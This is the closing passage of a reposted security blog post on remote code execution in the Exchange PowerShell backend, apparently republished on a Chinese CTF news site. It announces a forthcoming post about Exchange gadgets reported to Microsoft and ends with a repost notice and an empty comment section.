In a future blog post, I will describe some internal Exchange gadgets that can be abused to gain remote code execution, arbitrary file reads, or denial-of-service conditions. These have been reported to Microsoft, but we are still waiting for these bug reports to be addressed with patches.   Until then, you can follow me @chudypb and follow the team on Twitter or Instagram for the latest in exploit techniques and security patches.

 

 

原文始发于Piotr Bazydło:CONTROL YOUR TYPES OR GET PWNED: REMOTE CODE EXECUTION IN EXCHANGE POWERSHELL BACKEND

版权声明:admin 发表于 2022年11月17日 上午9:52。
转载请注明:CONTROL YOUR TYPES OR GET PWNED: REMOTE CODE EXECUTION IN EXCHANGE POWERSHELL BACKEND | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...